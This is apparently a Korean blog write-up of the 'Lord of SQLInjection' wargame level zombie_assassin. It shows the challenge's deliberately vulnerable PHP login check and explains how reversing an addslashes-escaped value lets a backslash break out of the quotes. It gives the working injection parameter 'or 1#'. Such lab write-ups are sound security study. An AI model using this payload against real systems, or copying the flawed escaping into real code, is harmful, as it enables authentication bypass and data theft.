LOS #17 zombie_assassin
Lord of SQLInjection
los.rubiya.kr
Source code
<?php
include "./config.php";
login_chk();
$db = dbconnect();
$_GET['id'] = strrev(addslashes($_GET['id']));
$_GET['pw'] = strrev(addslashes($_GET['pw']));
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("zombie_assassin");
highlight_file(__FILE__);
?>
Query
select id from prob_zombie_assassin where id='' and pw=''
Write-up
위 사진에서 확인할 수 있는 정보는 다음과 같다.
-
파라미터는 id, pw 2개가 사용될 수 있다.
-
addslashes() 함수로 id, pw 값의 single quote, double quote 등을 일반 문자로 바꾼다.
- strrev() 함수로 값을 앞뒤로 뒤집는다.
addslashes() 함수로 id, pw 값의 single quote, double quote 등을 일반 문자로 바꾸고 있다. 예를 들어, double quote를 id 값에 전달하면 double quote 앞에 '\' back slash를 붙여서 '\"'으로 변환된다. 그런데, strrev() 함수로 값의 앞뒤가 바뀌므로 '"\'으로 다시 한 번 변환된다. 이 떄 '\' back slash 때문에 뒤쪽의 single quote는 일반 문자로 치환되고 결국 id 값은 '"\' and pw='이 된다. id 값을 전달하고 pw 값에 or 명령어를 사용하고 참 값(ex. 1)을 전달해주면 select를 성공한다.
* php addslashes() 함수 참고
PHP: addslashes - Manual
spamdunk at home dot com, your way is dangerous on PostgreSQL (and presumably MySQL). You're quite correct that ANSI SQL specifies using ' to escape, but those databases also support \ for escaping (in violation of the standard, I think). Which means that
www.php.net
* php strrev() 함수 참고
PHP: strrev - Manual
It's faster and flexible than tianyiw function (comment #122953)
www.php.net
Parameter
id="&pw=%231%20ro
쿼리문은 다음과 같다. id 값의 double quote가 addslashes() 함수로 인해 '"\'로 변환되고 strrev() 함수로 인해 앞뒤 순서가 바뀐다. 그리고 '\' back slash 때문에 id 값을 감싸는 뒤쪽의 single quote가 일반 문자로 바뀐다. 따라서 아래의 빨간색으로 강조된 값이 id에 전달되는 값이 된다.
select id from prob_zombie_assassin where id='"\' and pw='or 1#'
Success
'Wargame > LOS' 카테고리의 다른 글
LOS #19 xavis (0) | 2020.10.28 |
---|---|
LOS #18 nightmare (0) | 2020.10.28 |
LOS #16 succubus (0) | 2020.10.28 |
LOS #15 assassin (0) | 2020.10.28 |
LOS #14 giant (0) | 2020.10.28 |